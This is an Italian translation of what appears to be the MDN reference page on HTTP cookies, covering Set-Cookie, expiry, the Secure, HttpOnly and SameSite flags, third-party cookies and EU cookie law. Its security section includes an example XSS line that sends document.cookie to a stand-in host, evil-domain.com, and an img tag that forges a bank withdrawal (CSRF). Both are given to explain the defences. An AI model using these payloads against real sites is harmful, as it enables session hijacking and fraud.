Un cookie HTTP (web cookie, cookie del browser) è un piccolo pezzo di dati che il server invia al browser dell'utente. Il browser può memorizzarlo e inviarlo allo stesso server nelle richieste successive. Tipicamente è utilizzato per stabilire se due richieste provengono dallo stesso browser, mantenendo ad esempio un utente loggato. Fornisce quindi informazioni stateful sopra al protocollo stateless HTTP.
I cookie sono principalmente usati per tre funzionalità:
Una volta i cookie venivano utilizzati come storage client-side. Anche se questo era concesso quando i cookie erano l'unico mezzo per salvare dati nel client, al giorno d'oggi è consigliato utilizzare le moderne API di salvataggio. I cookie sono inviati ad ogni richiesta, riducendo quindi le performance (specialmente nel caso di connessioni mobile). Le API di salvataggio moderne sono le cosidette Web storage API (localStorage e sessionStorage) e IndexedDB.
Per visualizzare i cookie salvati (e altri dati salvati che la pagina web può utilizzare) puoi abilitare lo Storage Inspector nei Developer Tools e selezionare Cookie dall'albero dello storage.
Quando una richiesta HTTP viene ricevuta, il server può rispondere con l'header HTTP {{HTTPHeader("Set-Cookie")}}. Il cookie viene solitamente memorizzato dal browser e inviato in ogni successiva richiesta allo stesso server tramite l'header HTTP {{HTTPHeader("Cookie")}}. Una "data di scadenza" o durata può essere specificata, dopo la quale il cookie non viene più inviato. In aggiunta, restrizioni ad uno specifico dominio o percorso possono essere impostate, limitando le richieste nelle quali il cookie viene inviato.
Set-Cookie e CookieL'header di risposta HTTP {{HTTPHeader("Set-Cookie")}} invia i cookie dal server all'utente. Un semplice cookie viene impostato come segue:
Set-Cookie: <cookie-name>=<cookie-value>
Questo header inviato dal server viene uilizzato per salvare un cookie nel client.
Set-Cookie in varie applicazioni server-side:
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Il cookie creato sopra è un cookie di sessione: è cancellato quando il client termina, perchè non è stata specificata nessuna direttiva Expires o Max-Age. Tuttavia il browser potrebbe usare il recupero di sessione e rendere il cookie di sessione permanente, come se il client non si disconnettesse.
Invece di scadere quando il client termina, i cookie permanenti scadono in un periodo specifico (Expires) o dopo uno specifico intervallo di tempo (Max-Age).
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Nota: Quando viene impostata una data di scadenza, l'ora e la data impostate sono relative al client su cui è impostato il cookie, non al server.
Secure e HttpOnlyUn cookie sicuro viene inviato al server solo con una richiesta cifrata con il protocollo HTTPS. Anche con la direttiva Secure, informazioni sensibili non dovrebbero mai essere memorizzate nei cookie, siccome sono intrinsecamente non sicuri e questo flag non offre una protezione robusta. sensitive information should never be stored in cookies, as they are inherently insecure and this flag can't offer real protection. A partire da Chrome 52 e Firefox 52, siti non sicuri (http:) non possono impostare cookie con la direttiva Secure.
Per evitare attacchi di tipo cross-site scripting ({{Glossary("XSS")}}), i cookie impostati con la direttiva HttpOnly sono inaccessibili all'API {{domxref("Document.cookie")}} di JavaScript; vengono solamente inviati al server. Ad esempio, i cookie di sessione non hanno necessità di essere acceduti da JavaScript e dovrebbero per questo essere impostati con il flag HttpOnly.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Le direttive Domain e Path definiscono lo scope del cookie: a quale URL il cookie dovrebbe essere inviato.
Domain specifica i domini consentiti a ricevere il cookie. Se non specificato, il valore di default corrisponde alla posizione corrente del documento, esclusi i sottodomini. Se Domain è specificato, i sottodomini sono sempre inclusi.
Ad esempio, se viene impostato Domain=mozilla.org , il cookie viene incluso in tutti i sottodomini come developer.mozilla.org.
Path indica un percorso URL che deve esistere nell'URL richiesto al fine di inviare il cookie tramite l'header Cookie. Il carattere %x2F ("/") è considerato un separatore di directory e anche le sottodirectory avranno un match.
Ad esempio, se viene impostato Path=/docs, questi pattern avranno una corrispondenza:
/docs/docs/Web//docs/Web/HTTPSameSite {{experimental_inline}}I cookie SameSite richiedono ad un browser che il cookie non venga inviato attraverso una richiesta cross-site, che può proteggere da attacchi di tipo cross-site request forgery ({{Glossary("CSRF")}}). I cookie SameSite sono ancora in fase di sperimentazione e non ancora supportati da tutti i browser.
Document.cookieI nuovi cookie possono anche essere creati tramite JavaScript usando la proprietà {{domxref ("Document.cookie")}}, e se il flag HttpOnly non è impostato, i cookie esistenti sono accessibili anche da JavaScript.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Per favore considera i problemi di sicurezza mostrati nella sezione Security qua sotto. I cookie disponibili al JavaScript possono essere rubati attraverso {{Glossary ("XSS")}}.
Le informazioni riservate o sensibili non dovrebbero mai essere archiviate o trasmesse tramite i cookie HTTP, poiché l'intero meccanismo è intrinsecamente insicuro.
I cookie vengono spesso utilizzati nelle applicazioni web per identificare un utente e la relativa sessione autenticata, pertanto il furto di un cookie può comportare il "dirottamento" della sessione dell'utente autenticato. I metodi più comuni per rubare i cookie includono l'ingegneria sociale o l'utilizzo di una vulnerabilità {{Glossary ("XSS")}} nell'applicazione.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
L'attributo HttpOnly dei cookie può aiutare a mitigare questo attacco prevenendo l'accesso al cookie attraverso il JavaScript.
Wikipedia menziona un buon esempio per {{Glossary("CSRF")}}. In questa situazione, qualcuno include un'immagine che non è veramente un'immagine (per esempio in una chat o forum non filtrato), ma che in realtà è una richiesta di prelievo di contante al server della banca:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Ora, se l'utente ha effettuato l'accesso al conto bancario e i cookie sono validi (e non ci sono altre convalide), il trasferimento di denaro avverrà non appena il codice HTML che contiene questa immagine verrà interpretato. Esistono alcune tecniche utilizzate per impedire che ciò accada:
I cookie hanno un dominio ad essi associato. Se questo dominio è uguale al dominio della pagina in cui ci si trova, si dice che i cookie siano cookie first-party. Se il dominio è diverso, si dice che sia un cookie di terze parti. Mentre i cookie proprietari (first-party) vengono inviati solo al server che li imposta, una pagina web può contenere immagini o altri componenti memorizzati su server in altri domini (come i banner pubblicitari). I cookie inviati tramite questi componenti di terze parti sono denominati cookie di terze parti e vengono principalmente utilizzati per la pubblicità e il monitoraggio sul web. Vedi ad esempio i tipi di cookie utilizzati da Google. La maggior parte dei browser consente l'utlizzo dei cookie di terze parti di default, ma sono disponibili componenti aggiuntivi per bloccarli (ad esempio, Privacy Badger di EFF).
Se non stai divulgando informazioni riguardanti i cookie di terze parti, la fiducia dei consumatori potrebbe essere danneggiata se ne viene scoperto l'utilizzo. Una chiara informativa (come in una politica sulla privacy) tende ad eliminare qualsiasi effetto negativo. Alcuni paesi hanno anche una legislazione sui cookie. Vedi ad esempio la dichiarazione sui cookie di Wikimedia Foundation.
Sebbene non ci siano requisiti legali o tecnologici per il suo utilizzo, l'header HTTP {{HTTPHeader ("DNT")}} può essere utilizzato per segnalare che un'applicazione web deve disabilitare sia il suo tracciamento che il tracciamento cross-site del singolo utente. Vedi l'header {{HTTPHeader ("DNT")}} per maggiori informazioni.
I requisiti per i cookie in tutta l'UE sono definiti nella direttiva 2009/136/EC del Parlamento europeo e sono entrate in vigore il 25 Maggio 2011. Una direttiva non è una legge di per sé, ma un requisito per gli stati membri dell'UE di mettere in atto leggi che soddisfino i requisiti della direttiva. Le leggi effettive possono differire da paese a paese.
In breve la direttiva UE dice che prima che qualcuno possa memorizzare o recuperare qualsiasi informazione da un computer, dispositivo mobile o altro dispositivo, l'utente deve dare esplicito consenso al farlo. Molti siti web hanno aggiunto banner (Cookie banner) per informare gli utenti riguardo l'utilizzo dei cookie.
Per altro, leggi questa sezione di Wikipedia e consulta le leggi locali per le ultime e più accurate informazioni.
Un approccio più radicale ai cookie sono i cookie zombie e gli evercookie, che vengono ricreati appena cancellati e sono volutamente difficili da cancellare. Sfruttano le Web storage API, Flash Local Shared Objects e altre tecniche per ricreare se stessi quando l'assanza del cookie viene rilevata.